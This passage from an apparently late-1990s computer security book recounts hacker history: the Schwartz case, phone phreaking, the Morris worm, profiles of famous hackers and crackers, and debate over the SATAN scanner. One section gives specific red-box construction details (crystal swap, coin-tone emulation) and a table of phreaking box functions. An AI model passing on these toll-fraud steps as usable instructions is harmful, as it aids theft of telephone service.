\nThis is a common procedure by which to identify weak passwords or those that can be \neasily cracked by crackers from the void. At the time of the Schwartz case, however, such \ntools were relatively new to the security scene. Hence, the practice of cracking your own \npasswords was not so universally accepted as a beneficial procedure. However, Intel's \nresponse was, in my opinion, a bit reactionary. For example, why wasn't the matter \nhandled internally? \nThe Schwartz case angered many programmers and security experts across the country. \nAs Jeffrey Kegler wrote in his analysis paper, \"Intel v. Randal Schwartz: Why Care?\" the \nSchwartz case was an ominous development: \nClearly, Randal was someone who should have known better. And in fact, Randal would be the \nfirst Internet expert already well known for legitimate activities to turn to crime. Previous \ncomputer criminals have been teenagers or wannabes. Even the relatively sophisticated Kevin \nMitnick never made any name except as a criminal. Never before Randal would anyone on the \n`light side of the force' have answered the call of the 'dark side.' \n \nCross Reference: You can find Kegler's paper online at \nhttp://www.lightlink.com/spacenka/fors/intro.html. \n \n" }, { "page_number": 37, "text": " \n \nI want you to think about the Schwartz case for a moment. Do you have or administrate a \nnetwork? If so, have you ever cracked passwords from that network without explicit \nauthorization to do so? If you have, you know exactly what this entails. In your opinion, \ndo you believe this constitutes an offense? If you were writing the laws, would this type \nof offense be a felony? \nIn any event, as stated, Randal Schwartz is unfortunate enough to be the first legitimate \ncomputer security expert to be called a cracker. Thankfully, the experience proved \nbeneficial, even if only in a very small way. Schwartz managed to revitalize his career, \ntouring the country giving great talks as Just Another Convicted Perl Hacker. The \nnotoriety has served him well as of late. \n \nTIP: The transcripts of this trial are available on the Internet in zipped format. The entire \ndistribution is 13 days of testimony and argument. It is available at \nhttp://www.lightlink.com/spacenka/fors/court/court.html. \n \nWhy Do Crackers Exist? \nCrackers exist because they must. Because human nature is just so, frequently driven by a \ndesire to destroy instead of create. No more complex explanation need be given. The only \nissue here is what type of cracker we are talking about. \nSome crackers crack for profit. These may land on the battlefield, squarely between two \ncompeting companies. Perhaps Company A wants to disable the site of Company B. \nThere are crackers for hire. They will break into almost any type of system you like, for a \nprice. Some of these crackers get involved with criminal schemes, such as retrieving lists \nof TRW profiles. These are then used to apply for credit cards under the names of those \non the list. Other common pursuits are cell-phone cloning, piracy schemes, and garden-\nvariety fraud. Other crackers are kids who demonstrate an extraordinary ability to \nassimilate highly technical computer knowledge. They may just be getting their kicks at \nthe expense of their targets. \nWhere Did This All Start? \nA complete historical account of cracking is beyond the scope of this book. However, a \nlittle background couldn't hurt. It started with telephone technology. Originally, a handful \nof kids across the nation were cracking the telephone system. This practice was referred \nto as phreaking. Phreaking is now recognized as any act by which to circumvent the \nsecurity of the telephone company. (Although, in reality, phreaking is more about \nlearning how the telephone system works and then manipulating it.) \nTelephone phreaks employed different methods to accomplish this task. Early \nimplementations involved the use of ratshack dialers, or red boxes. (Ratshack was a term \nto refer to the popular electronics store Radio Shack.) These were hand-held electronic \ndevices that transmitted digital sounds or tones. Phreakers altered these off-the-shelf tone \ndialers by replacing the internal crystals with Radio Shack part #43-146. \n \n" }, { "page_number": 38, "text": " \n \nNOTE: Part #43-146 was a crystal, available at many neighborhood electronics stores \nthroughout the country. One could use either a 6.5MHz or 6.5536 crystal. This was used \nto replace the crystal that shipped with the dialer (3.579545MHz). The alteration process \ntook approximately 5 minutes. \n \nHaving made these modifications, they programmed in the sounds of quarters being \ninserted into a pay telephone. From there, the remaining steps were simple. Phreaks went \nto a pay telephone and dialed a number. The telephone would request payment for the \ncall. In response, the phreak would use the red box to emulate money being inserted into \nthe machine. This resulted in obtaining free telephone service at most pay telephones. \nSchematics and very precise instructions for constructing such devices are at thousands of \nsites on the Internet. The practice became so common that in many states, the mere \npossession of a tone dialer altered in such a manner was grounds for search, seizure, and \narrest. As time went on, the technology in this area became more and more advanced. \nNew boxes like the red box were developed. The term boxing came to replace the term \nphreaking, at least in general conversation, and boxing became exceedingly popular. This \nresulted in even further advances, until an entire suite of boxes was developed. Table 3.1 \nlists a few of these boxes. \nTable 3.1. Boxes and their uses. \nBox \nWhat It Does \nBlue \nSeizes trunk lines using a 2600MHz tone, thereby granting the boxer the same privileges as the \naverage operator \nDayglo Allows the user to connect to and utilize his or her neighbor's telephone line \nAqua \nReportedly circumvents FBI taps and traces by draining the voltage on the line \nMauve Used to tap another telephone line \nChrome Seizes control of traffic signals \nThere are at least 40 different boxes or devices within this class. Each was designed to \nperform a different function. Many of the techniques employed are no longer effective. \nFor example, blue boxing has been seriously curtailed because of new electronically \nswitched telephone systems. (Although reportedly, one can still blue box in parts of the \ncountry where older trunk lines can be found.) At a certain stage of the proceedings, \ntelephone phreaking and computer programming were combined; this marriage produced \nsome powerful tools. One example is BlueBEEP, an all-purpose phreaking/hacking tool. \nBlueBEEP combines many different aspects of the phreaking trade, including the red \nbox. Essentially, in an area where the local telephone lines are old style, BlueBEEP \nprovides the user with awesome power over the telephone system. Have a look at the \nopening screen of BlueBEEP in Figure 3.1. \nFigure 3.1. \nThe BlueBEEP opening screen. \nIt looks a lot like any legitimate application, the type anyone might buy at his or her local \nsoftware outlet. To its author's credit, it operates as well as or better than most \ncommercial software. BlueBEEP runs in a DOS environment, or through a DOS shell \n" }, { "page_number": 39, "text": " \n \nwindow in either Windows 95 or Windows NT. I should say this before continuing: To \ndate, BlueBEEP is the most finely programmed phreaking tool ever coded. The author, \nthen a resident of Germany, reported that the application was written primarily in \nPASCAL and assembly language. In any event, contained within the program are many, \nmany options for control of trunk lines, generation of digital tones, scanning of telephone \nexchanges, and so on. It is probably the most comprehensive tool of its kind. However, I \nam getting ahead of the time. BlueBEEP was actually created quite late in the game. We \nmust venture back several years to see how telephone phreaking led to Internet cracking. \nThe process was a natural one. Phone phreaks tried almost anything they could to find \nnew systems. Phreaks often searched telephone lines for interesting tones or connections. \nSome of those connections turned out to be modems. \nNo one can tell when it was--that instant when a telephone phreak first logged on to the \nInternet. However, the process probably occurred more by chance than skill. Years ago, \nPoint- to-Point Protocol (PPP) was not available. Therefore, the way a phreak would have \nfound the Internet is debatable. It probably happened after one of them, by direct-dial \nconnection, logged in to a mainframe or workstation somewhere in the void. This \nmachine was likely connected to the Internet via Ethernet, a second modem, or another \nport. Thus, the targeted machine acted as a bridge between the phreak and the Internet. \nAfter the phreak crossed that bridge, he or she was dropped into a world teeming with \ncomputers, most of which had poor or sometimes no security. Imagine that for a moment: \nan unexplored frontier. \nWhat remains is history. Since then, crackers have broken their way into every type of \nsystem imaginable. During the 1980s, truly gifted programmers began cropping up as \ncrackers. It was during this period that the distinction between hackers and crackers was \nfirst confused, and it has remained so every since. By the late 1980s, these individuals \nwere becoming newsworthy and the media dubbed those who breached system security \nas hackers. \nThen an event occurred that would forever focus America's computing community on \nthese hackers. On November 2, 1988, someone released a worm into the network. This \nworm was a self-replicating program that sought out vulnerable machines and infected \nthem. Having infected a vulnerable machine, the worm would go into the wild, searching \nfor additional targets. This process continued until thousands of machines were infected. \nWithin hours, the Internet was under heavy siege. In a now celebrated paper that provides \na blow-by-blow analysis of the worm incident (\"Tour of the Worm\"), Donn Seeley, then \nat the Department of Computer Science at the University of Utah, wrote: \nNovember 3, 1988 is already coming to be known as Black Thursday. System administrators \naround the country came to work on that day and discovered that their networks of computers \nwere laboring under a huge load. If they were able to log in and generate a system status listing, \nthey saw what appeared to be dozens or hundreds of \"shell\" (command interpreter) processes. If \nthey tried to kill the processes, they found that new processes appeared faster than they could kill \nthem. \nThe worm was apparently released from a machine at the Massachusetts Institute of \nTechnology. Reportedly, the logging system on that machine was either working \nincorrectly or was not properly configured and thus, the perpetrator left no trail. (Seely \nreports that the first infections included the Artificial Intelligence Laboratory at MIT, the \n" }, { "page_number": 40, "text": " \n \nUniversity of California at Berkeley, and the RAND Corporation in California.) As one \nmight expect, the computing community was initially in a state of shock. However, as \nEugene Spafford, a renowned computer science professor from Purdue University, \nexplained in his paper \"The Internet Worm: An Analysis,\" that state of shock didn't last \nlong. Programmers at both ends of the country were working feverishly to find a solution: \nBy late Wednesday night, personnel at the University of California at Berkeley and at \nMassachusetts Institute of Technology had `captured' copies of the program and began to analyze \nit. People at other sites also began to study the program and were developing methods of \neradicating it. \nAn unlikely candidate would come under suspicion: a young man studying computer \nscience at Cornell University. This particular young man was an unlikely candidate for \ntwo reasons. First, he was a good student without any background that would suggest \nsuch behavior. Second, and more importantly, the young man's father, an engineer with \nBell Labs, had a profound influence on the Internet's design. Nevertheless, the young \nman, Robert Morris Jr., was indeed the perpetrator. Reportedly, Morris expected his \nprogram to spread at a very slow rate, its effects being perhaps even imperceptible. \nHowever, as Brendan Kehoe notes in his book Zen and the Art of the Internet: \nMorris soon discovered that the program was replicating and reinfecting machines at a much faster \nrate than he had anticipated--there was a bug. Ultimately, many machines at locations around the \ncountry either crashed or became `catatonic.' When Morris realized what was happening, he \ncontacted a friend at Harvard to discuss a solution. Eventually, they sent an anonymous message \nfrom Harvard over the network, instructing programmers how to kill the worm and prevent \nreinfection. \nMorris was tried and convicted under federal statutes, receiving three years probation and \na substantial fine. An unsuccessful appeal followed. (I address this case in detail in Part \nVII of this book, \"The Law.\") \nThe introduction of the Morris Worm changed many attitudes about Internet security. A \nsingle program had virtually disabled hundreds (or perhaps thousands) of machines. That \nday marked the beginning of serious Internet security. Moreover, the event helped to \nforever seal the fate of hackers. Since that point, legitimate programmers have had to \nrigorously defend their hacker titles. The media has largely neglected to correct this \nmisconception. Even today, the national press refers to crackers as hackers, thus \nperpetuating the misunderstanding. That will never change and hence, hackers will have \nto find another term by which to classify themselves. \nDoes it matter? Not really. Many people charge that true hackers are splitting hairs, that \ntheir rigid distinctions are too complex and inconvenient for the public. Perhaps there is \nsome truth to that. For it has been many years since the terms were first used \ninterchangeably (and erroneously). At this stage, it is a matter of principle only. \nThe Situation Today: A Network at War \nThe situation today is radically different from the one 10 years ago. Over that period of \ntime, these two groups of people have faced off and crystallized into opposing teams. The \nnetwork is now at war and these are the soldiers. Crackers fight furiously for recognition \nand often realize it through spectacular feats of technical prowess. A month cannot go by \n" }, { "page_number": 41, "text": " \n \nwithout a newspaper article about some site that has been cracked. Equally, hackers work \nhard to develop new methods of security to ward off the cracker hordes. Who will \nultimately prevail? It is too early to tell. The struggle will likely continue for another \ndecade or more. \nThe crackers may be losing ground, though. Because big business has invaded the Net, \nthe demand for proprietary security tools has increased dramatically. This influx of \ncorporate money will lead to an increase in the quality of such security tools. Moreover, \nthe proliferation of these tools will happen at a much faster rate and for a variety of \nplatforms. Crackers will be faced with greater and greater challenges as time goes on. \nHowever, as I explain in Chapter 5, \"Is Security a Futile Endeavor?\" the balance of \nknowledge maintains a constant, with crackers only inches behind. Some writers assert \nthat throughout this process, a form of hacker evolution is occurring. By this they mean \nthat crackers will ultimately be weeded out over the long haul (many will go to jail, many \nwill grow older and wiser, and so forth). This is probably unrealistic. The exclusivity \nassociated with being a cracker is a strong lure to up-and-coming teenagers. There is a \nmystique surrounding the activities of a cracker. \nThere is ample evidence, however, that most crackers eventually retire. They later crop \nup in various positions, including system administrator jobs. One formerly renowned \ncracker today runs an Internet salon. Another works on systems for an airline company in \nFlorida. Still another is an elected official in a small town in Southern California. \n(Because all these individuals have left the life for a more conservative and sane \nexistence, I elected not to mention their names here.) \nThe Hackers \nI shall close this chapter by giving real-life examples of hackers are crackers. That seems \nto be the only reliable way to differentiate between them. From these brief descriptions, \nyou can get a better understanding of the distinction. Moreover, many of these people are \ndiscussed later at various points in this book. This section prepares you for that as well. \nRichard Stallman Stallman joined the Artificial Intelligence Laboratory at MIT in 1971. \nHe received the 250K McArthur Genius award for developing software. He ultimately \nfounded the Free Software Foundation, creating hundreds of freely distributable utilities \nand programs for use on the UNIX platform. He worked on some archaic machines, \nincluding the DEC PDP-10 (to which he probably still has access somewhere). He is a \nbrilliant programmer. \nDennis Ritchie, Ken Thompson, and Brian Kernighan Ritchie, Thompson, and \nKernighan are programmers at Bell Labs, and all were instrumental in the development of \nthe UNIX operating system and the C programming language. Take these three \nindividuals out of the picture, and there would likely be no Internet (or if there were, it \nwould be a lot less functional). They still hack today. (For example, Ritchie is busy \nworking on Plan 9 from Bell Labs, a new operating system that will probably supplant \nUNIX as the industry-standard super-networking operating system.) \n" }, { "page_number": 42, "text": " \n \nPaul Baran, Rand Corporation Baran is probably the greatest hacker of them all for \none fundamental reason: He was hacking the Internet before the Internet even existed. He \nhacked the concept, and his efforts provided a rough navigational tool that served to \ninspire those who followed him. \nEugene Spafford Spafford is a professor of computer science, celebrated for his work at \nPurdue University and elsewhere. He was instrumental in creating the Computer Oracle \nPassword and Security System (COPS), a semi-automated system of securing your \nnetwork. Spafford has turned out some very prominent students over the years and his \nname is intensely respected in the field. \nDan Farmer Farmer worked with Spafford on COPS (Release 1991) while at Carnegie \nMellon University with the Computer Emergency Response Team (CERT). For real \ndetails, see Purdue University Technical Report CSD-TR-993, written by Eugene \nSpafford and Daniel Farmer. (Yes, Dan, the byline says Daniel Farmer.) Farmer later \ngained national notoriety for releasing the System Administrator Tool for Analyzing \nNetworks (SATAN), a powerful tool for analyzing remote networks for security \nvulnerabilities. \nWietse Venema Venema hails from the Eindhoven University of Technology in the \nNetherlands. He is an exceptionally gifted programmer who has a long history of writing \nindustry-standard security tools. He co-authored SATAN with Farmer and wrote TCP \nWrapper, one of the commonly used security programs in the world. (This program \nprovides close control and monitoring of information packets coming from the void.) \nLinus Torvalds A most extraordinary individual, Torvalds enrolled in classes on UNIX \nand the C programming language in the early 1990s. One year later, he began writing a \nUNIX-like operating system. Within a year, he released this system to the Internet (it was \ncalled Linux). Today, Linux has a cult following and has the distinction of being the only \noperating system ever developed by software programmers all over the world, many of \nwhom will never meet one another. Linux is free from copyright restrictions and is \navailable free to anyone with Internet access. \nBill Gates and Paul Allen From their high school days, these men from Washington \nwere hacking software. Both are skilled programmers. Starting in 1980, they built the \nlargest and most successful software empire on Earth. Their commercial successes \ninclude MS-DOS, Microsoft Windows, Windows 95, and Windows NT. \nThe Crackers \nKevin Mitnik Mitnik, also known as Condor, is probably the world's best-known \ncracker. Mitnik began his career as a phone phreak. Since those early years, Mitnik has \nsuccessfully cracked every manner of secure site you can imagine, including but not \nlimited to military sites, financial corporations, software firms, and other technology \ncompanies. (When he was still a teen, Mitnik cracked the North American Aerospace \nDefense Command.) At the time of this writing, he is awaiting trial on federal charges \nstemming from attacks committed in 1994-1995. \n" }, { "page_number": 43, "text": " \n \nKevin Poulsen Having followed a path quite similar to Mitnik, Poulsen is best known for \nhis uncanny ability to seize control of the Pacific Bell telephone system. (Poulsen once \nused this talent to win a radio contest where the prize was a Porsche. He manipulated the \ntelephone lines so that his call would be the wining one.) Poulsen has also broken nearly \nevery type of site, but has a special penchant for sites containing defense data. This \ngreatly complicated his last period of incarceration, which lasted five years. (This is the \nlongest period ever served by a hacker in the United States.) Poulsen was released in \n1996 and has apparently reformed. \nJustin Tanner Peterson Known as Agent Steal, Peterson is probably most celebrated for \ncracking a prominent consumer credit agency. Peterson appeared to be motivated by \nmoney instead of curiosity. This lack of personal philosophy led to his downfall and the \ndownfall of others. For example, once caught, Peterson ratted out his friends, including \nKevin Poulsen. Peterson then obtained a deal with the FBI to work undercover. This \nsecured his release and he subsequently absconded, going on a crime spree that ended \nwith a failed attempt to secure a six-figure fraudulent wire transfer. \nSummary \nThere are many other hackers and crackers, and you will read about them in the following \nchapters. Their names, their works, and their Web pages (when available) are \nmeticulously recorded throughout this book. If you are one such person of note, you will \nundoubtedly find yourself somewhere within this book. The criterion to be listed here is \nstraightforward: If you have done something that influenced the security of the Internet, \nyour name likely appears here. If I missed you, I extend my apologies. \nFor the remaining readers, this book serves not only as a general reference tool, but a \nkind of directory of hackers and crackers. For a comprehensive listing, see Appendix A, \n\"How to Get More Information.\" That appendix contains both establishment and \nunderground resources. \n" }, { "page_number": 44, "text": " \n \n4 \nJust Who Can Be Hacked, Anyway? \nThe Internet was born in 1969. Almost immediately after the network was established, \nresearchers were confronted with a disturbing fact: The Internet was not secure and could \neasily be cracked. Today, writers try to minimize this fact, reminding you that the \nsecurity technologies of the time were primitive. This has little bearing. Today, security \ntechnology is quite complex and the Internet is still easily cracked. \nI would like to return to those early days of the Internet. Not only will this give you a \nflavor of the time, it will demonstrate an important point: The Internet is no more secure \ntoday than it was twenty years ago. \nMy evidence begins with a document: a Request for Comments, or RFC. Before you \nreview the document, let me explain what the RFC system is about. This is important \nbecause I refer to many RFC documents throughout this book. \nThe Request For Comments (RFC) System \nRequests for Comments (RFC) documents are special. They are written (and posted to the \nNet) by individuals engaged in the development or maintenance of the Internet. RFC \ndocuments serve the important purpose of requesting Internet-wide comments on new or \ndeveloping technology. Most often, RFC documents contain proposed standards. \nThe RFC system is one of evolution. The author of an RFC posts the document to the \nInternet, proposing a standard that he or she would like to see adopted network-wide. The \nauthor then waits for feedback from other sources. The document (after more \ncomments/changes have been made) goes to draft or directly to Internet standard status. \nComments and changes are made by working groups of the Internet Engineering Task \nForce (IETF). \n \nCross Reference: The Internet Engineering Task Force (IETF) is \"... a large, open, \ninternational community of network designers, operators, vendors, and researchers \nconcerned with the evolution of the Internet architecture and the smooth operation of the \nInternet.\" To learn more about the IETF, go to its home page at \nhttp://www.ietf.cnri.reston.va.us/. \n \nRFC documents are numbered sequentially (the higher the number, the more recent the \ndocument) and are distributed at various servers on the Internet. \n \nCross Reference: One central server from which to retrieve RFC documents is at \nhttp://ds0.internic.net/ds/dspg0intdoc.html. This address (URL) is located at InterNIC, \nor the Network Information Center. \n \nInterNIC \n" }, { "page_number": 45, "text": " \n \nInterNIC provides comprehensive databases on networking information. These databases \ncontain the larger portion of collected knowledge on the design and scope of the Internet. \nSome of those databases include \n• \nThe WHOIS Database--This database contains all the names and network numbers of hosts (or \nmachines) permanently connected to the Internet in the United States (except *.mil addresses, \nwhich must be obtained at nic.ddn.mil). \n• \nThe Directory of Directories--This is a massive listing of nearly all resources on the Internet, \nbroken into categories. \n• \nThe RFC Index--This is a collection of all RFC documents. \n \nCross Reference: All these documents are centrally available at http://rs.internic.net. \n \nA Holiday Message \nAs I mentioned earlier, I refer here to an early RFC. The document in question is RFC \n602: The Stockings Were Hung by the Chimney with Care. RFC 602 was posted by Bob \nMetcalfe in December, 1973. The subject matter concerned weak passwords. In it, \nMetcalfe writes: The ARPA Computer Network is susceptible to security violations for at \nleast the three following reasons: \n1. Individual sites, used to physical limitations on machine access, have not yet taken sufficient \nprecautions toward securing their systems against unauthorized remote use. For example, many \npeople still use passwords which are easy to guess: their fist [sic] names, their initials, their host \nname spelled backwards, a string of characters which are easy to type in sequence (such as \nZXCVBNM). \n \n2. The TIP allows access to the ARPANET to a much wider audience than is thought or intended. \nTIP phone numbers are posted, like those scribbled hastily on the walls of phone booths and men's \nrooms. The TIP required no user identification before giving service. Thus, many people, \nincluding those who used to spend their time ripping off Ma Bell, get access to our stockings in a \nmost anonymous way. \n \n3. There is lingering affection for the challenge of breaking someone's system. This affection \nlingers despite the fact that everyone knows that it's easy to break systems, even easier to crash \nthem. \nAll of this would be quite humorous and cause for raucous eye winking and elbow \nnudging, if it weren't for the fact that in recent weeks at least two major serving hosts \nwere crashed under suspicious circumstances by people who knew what they were \nrisking; on yet a third system, the system wheel password was compromised--by two high \nschool students in Los Angeles no less. We suspect that the number of dangerous security \nviolations is larger than any of us know is growing. You are advised not to sit \"in hope \nthat Saint Nicholas would soon be there.\" That document was posted well over 20 years \nago. Naturally, this password problem is no longer an issue. Or is it? Examine this \nexcerpt from a Defense Data Network Security Bulletin, written in 1993: \nHost Administrators must assure that passwords are kept secret by their users. Host Administrators \nmust also assure that passwords are robust enough to thwart exhaustive attack by password \n" }, { "page_number": 46, "text": " \n \ncracking mechanisms, changed periodically and that password files are adequately protected. \nPasswords should be changed at least annually. \nTake notice. In the more than 25 years of the Internet's existence, it has never been \nsecure. That's a fact. Later in this book, I will try to explain why. For now, however, I \nconfine our inquiry to a narrow question: Just who can be cracked? \nThe short answer is this: As long as a person maintains a connection to the Internet \n(permanent or otherwise), he or she can be cracked. Before treating this subject in depth, \nhowever, I want to define cracked. \nWhat Is Meant by the Term Cracked? \nFor our purposes, cracked refers to that condition in which the victim network has \nsuffered an unauthorized intrusion. There are various degrees of this condition, each of \nwhich is discussed at length within this book. Here, I offer a few examples of this \ncracked condition: \n• \nThe intruder gains access and nothing more (access being defined as simple entry; entry that is \nunauthorized on a network that requires--at a minimum--a login and password). \n• \nThe intruder gains access and destroys, corrupts, or otherwise alters data. \n• \nThe intruder gains access and seizes control of a compartmentalized portion of the system or the \nwhole system, perhaps denying access even to privileged users. \n• \nThe intruder does NOT gain access, but instead implements malicious procedures that cause that \nnetwork to fail, reboot, hang, or otherwise manifest an inoperable condition, either permanently or \ntemporarily. \nTo be fair, modern security techniques have made cracking more difficult. However, the \ngorge between the word difficult and the word impossible is wide indeed. Today, crackers \nhave access to (and often study religiously) a wealth of security information, much of \nwhich is freely available on the Internet. The balance of knowledge between these \nindividuals and bona-fide security specialists is not greatly disproportionate. In fact, that \ngap is closing each day. \nThe purpose of this chapter is to show you that cracking is a common activity: so \ncommon that assurances from anyone that the Internet is secure should be viewed with \nextreme suspicion. To drive that point home, I will begin with governmental entities. \nAfter all, defense and intelligence agencies form the basis of our national security \ninfrastructure. They, more than any other group, must be secure. \nGovernment \nThroughout the Internet's history, government sites have been popular targets among \ncrackers. This is due primarily to press coverage that follows such an event. Crackers \nenjoy any media attention they can get. Hence, their philosophy is generally this: If \nyou're going to crack a site, crack one that matters. \n" }, { "page_number": 47, "text": " \n \nAre crackers making headway in compromising our nation's most secure networks? \nAbsolutely. To find evidence that government systems are susceptible to attack, one \nneedn't look far. A recent report filed by the Government Accounting Office (GAO) \nconcerning the security of the nation's defense networks concluded that: \nDefense may have been attacked as many as 250,000 times last year...In addition, in testing its \nsystems, DISA attacks and successfully penetrates Defense systems 65 percent of the time. \nAccording to Defense officials, attackers have obtained and corrupted sensitive information--they \nhave stolen, modified, and destroyed both data and software. They have installed unwanted files \nand \"back doors\" which circumvent normal system protection and allow attackers unauthorized \naccess in the future. They have shut down and crashed entire systems and networks, denying \nservice to users who depend on automated systems to help meet critical missions. Numerous \nDefense functions have been adversely affected, including weapons and supercomputer research, \nlogistics, finance, procurement, personnel management, military health, and payroll.1 \n \n1Information Security: Computer Attacks at Department of Defense Pose Increasing \nRisks (Chapter Report, 05/22/96, GAO/AIMD-96-84); Chapter 0:3.2, Paragraph 1. \n \n \nCross Reference: Information Security: Computer Attacks at Department of Defense \nPose Increasing Risks is available online at \nhttp://www.securitymanagement.com/library/000215.html. \n \nThat same report revealed that although more than one quarter of a million attacks occur \nannually, only 1 in 500 attacks are actually detected and reported. (Note that these sites \nare defense oriented and therefore implement more stringent security policies than many \ncommercial sites. Many government sites employ secure operating systems that also \nfeature advanced, proprietary security utilities.) \nGovernment agencies, mindful of the public confidence, understandably try to minimize \nthese issues. But some of the incidents are difficult to obscure. For example, in 1994, \ncrackers gained carte-blanche access to a weapons-research laboratory in Rome, New \nYork. Over a two-day period, the crackers downloaded vital national security \ninformation, including wartime- communication protocols. \nSuch information is extremely sensitive and, if used improperly, could jeopardize the \nlives of American service personnel. If crackers with relatively modest equipment can \naccess such information, hostile foreign governments (with ample computing power) \ncould access even more. \nSATAN and Other Tools \nToday, government sites are cracked with increasing frequency. The authors of the GAO \nreport attribute this largely to the rise of user-friendly security programs (such as \nSATAN). SATAN is a powerful scanner program that automatically detects security \nweaknesses in remote hosts. It was released freely on the Net in April, 1995. Its authors, \nDan Farmer and Weitse Venema, are legends in Internet security. (You will learn more \nabout these two gentlemen in Chapter 9, \"Scanners.\") \nBecause SATAN is conveniently operated through an HTML browser (such as Netscape \nNavigator or NCSA Mosaic), a cracker requires less practical knowledge of systems. \n" }, { "page_number": 48, "text": " \n \nInstead, he or she simply points, clicks, and waits for an alert that SATAN has found a \nvulnerable system (at least this is what the GAO report suggests). Is it true? \nNo. Rather, the government is making excuses for its own shoddy security. Here is why: \nFirst, SATAN runs only on UNIX platforms. Traditionally, such platforms required \nexpensive workstation hardware. Workstation hardware of this class is extremely \nspecialized and isn't sold at the neighborhood Circuit City store. However, those quick to \ndefend the government make the point that free versions of UNIX now exist for the IBM-\ncompatible platform. One such distribution is a popular operating system named Linux. \nLinux is a true 32-bit, multi-user, multi-tasking, UNIX-like operating system. It is a \npowerful computing environment and, when installed on the average PC, grants the user \nan enormous amount of authority, particularly in the context of the Internet. For example, \nLinux distributions now come stocked with every manner of server ever created for \nTCP/IP transport over the Net. \n \nCross Reference: Linux runs on a wide range of platforms, not just IBM compatibles. \nSome of those platforms include the Motorola 68k, the Digital Alpha, the Motorola \nPowerPC, and even the Sun Microsystems SPARC architecture. If you want to learn \nmore about Linux, go to the ultimate Linux page at http://www.linux.org/. \n \nDistributions of Linux are freely available for download from the Net, or can be obtained \nat any local bookstore. CD-ROM distributions are usually bundled with books that \ninstruct users on using Linux. In this way, vendors can make money on an otherwise, \nostensibly free operating system. The average Linux book containing a Linux installation \nCD-ROM sells for forty dollars. \nFurthermore, most Linux distributions come with extensive development tools. These \ninclude a multitude of language compilers and interpreters: \n• \nA C language compiler \n• \nA C++ language compiler \n• \nA SmallTalk interpreter \n• \nA BASIC interpreter \n• \nA Perl interpreter \n• \nTools for FORTRAN \n• \nTools for Pascal \n• \nA common LISP interpreter \nYet, even given these facts, the average kid with little knowledge of UNIX cannot \nimplement a tool such as SATAN on a Linux platform. Such tools rarely come prebuilt in \nbinary form. The majority are distributed as source code, which may then be compiled \nwith options specific to the current platform. Thus, if you are working in AIX (IBM's \n" }, { "page_number": 49, "text": " \n \nproprietary version of UNIX), the program must be compiled for AIX. If working in \nUltrix (DEC), it must be compiled for Ultrix, and so on. \n \nNOTE: A port was available for Linux not long after SATAN was released. However, \nthe bugs were not completely eliminated and the process of installing and running \nSATAN would still remain an elusive and frustrating experience for many Linux users. \nThe process of developing an easily implemented port was slow in coming. \n \nMost PC users (without UNIX experience) are hopelessly lost even at the time of the \nLinux installation. UNIX conventions are drastically different from those in DOS. Thus, \nbefore a new Linux user becomes even moderately proficient, a year of use will likely \npass. This year will be spent learning how to use MIT's X Window System, how to \nconfigure TCP/IP settings, how to get properly connected to the Internet, and how to \nunpack software packages that come in basic source-code form. \nEven after the year has passed, the user may still not be able to use SATAN. The SATAN \ndistribution doesn't compile well on the Linux platform. For it to work, the user must \nhave installed the very latest version of Perl. Only very recent Linux distributions (those \nreleased within one year of the publishing of this book) are likely to have such a version \ninstalled. Thus, the user must also know how to find, retrieve, unpack, and properly \ninstall Perl. \nIn short, the distance between a non-UNIX literate PC user and one who effectively uses \nSATAN is very long indeed. Furthermore, during that journey from the former to the \nlatter, the user must have ample time (and a brutal resolve) to learn. This is not the type \nof journey made by someone who wants to point and click his or her way to super-\ncracker status. It is a journey undertaken by someone deeply fascinated by operating \nsystems, security, and the Internet in general. \nSo the government's assertion that SATAN, an excellent tool designed expressly to \nimprove Internet security, has contributed to point-and-click cracking is unfounded. True, \nSATAN will perform automated scans for a user. Nonetheless, that user must have strong \nknowledge of Internet security, UNIX, and several programming languages. \nThere are also collateral issues regarding the machine and connection type. For example, \neven if the user is seasoned, he or she must still have adequate hardware power to use \nSATAN effectively. \n \nCross Reference: You will examine SATAN (and programs like it) in greater detail in \nChapter 9. In that chapter, you will be familiarized with many scanners, how they work, \nhow they are designed, and the type of information they can provide for users. \n \nSATAN is not the problem with government sites. Indeed, SATAN is not the only \ndiagnostic tool that can automatically identify security holes in a system. There are \ndozens of such tools available: \n• \nInternet Security Scanner (ISS) \n• \nStrobe \n" }, { "page_number": 50, "text": " \n \n• \nNetwork Security Scanner (NSS) \n• \nidentTCPscan \n• \nJakal \nChapter 9 examines these automated tools and their methods of operation. For now, I will \nsimply say this: These tools operate by attacking the available TCP/IP services and ports \nopen and running on remote systems. \nWhether available to a limited class of users or worldwide, these tools share one common \nattribute: They check for known holes. That is, they check for security vulnerabilities that \nare commonly recognized within the security community. The chief value of such tools is \ntheir capability to automate the process of checking one or more machines (hundreds of \nmachines, if the user so wishes). These tools accomplish nothing more than a \nknowledgeable cracker might by hand. They simply automate the process. \nEducation and Awareness About Security \nThe problem is not that such tools exist, but that education about security is poor. \nMoreover, the defense information networks are operating with archaic internal security \npolicies. These policies prevent (rather than promote) security. To demonstrate why, I \nwant to refer to the GAO report I mentioned previously. In it, the government concedes: \n...The military services and Defense agencies have issued a number of information security \npolicies, but they are dated, inconsistent and incomplete... \nThe report points to a series of Defense Directives as examples. It cites (as the most \nsignificant DoD policy document) Defense Directive 5200.28. This document, Security \nRequirements for Automated Information Systems, is dated March 21, 1988. \nIn order to demonstrate the real problem here, let's examine a portion of that Defense \nDirective. Paragraph 5 of Section D of that document is written as follows: \nComputer security features of commercially produced products and Government-developed or -\nderived products shall be evaluated (as requested) for designation as trusted computer products for \ninclusion on the Evaluated Products List (EPL). Evaluated products shall be designated as meeting \nsecurity criteria maintained by the National Computer Security Center (NCSC) at NSA defined by \nthe security division, class, and feature (e.g., B, B1, access control) described in DoD 5200.28-\nSTD (reference (K)). \n \nCross Reference: Security Requirements for Automated Information Systems is available \non the Internet at \nhttp://140.229.1.16:9000/htdocs/teinfo/directives/soft/5200.\n28.html \n \nIt is within the provisions of that paragraph that the government's main problem lies. The \nEvaluated Products List (EPL) is a list of products that have been evaluated for security \nratings, based on DoD guidelines. (The National Security Agency actually oversees the \nevaluation.) Products on the list can have various levels of security certification. For \nexample, Windows NT version 3.51 has obtained a certification of C2. This is a very \nlimited security certification. \n" }, { "page_number": 51, "text": " \n \n \nCross Reference: Before you continue, you should probably briefly view the EPL for \nyourself. Check it out at \nhttp://www.radium.ncsc.mil/tpep/epl/index.html. \n \nThe first thing you will notice about this list is that most of the products are old. For \nexample, examine the EPL listing for Trusted Information Systems' Trusted XENIX, a \nUNIX-based operating system. \n \nCross Reference: The listing for Trusted 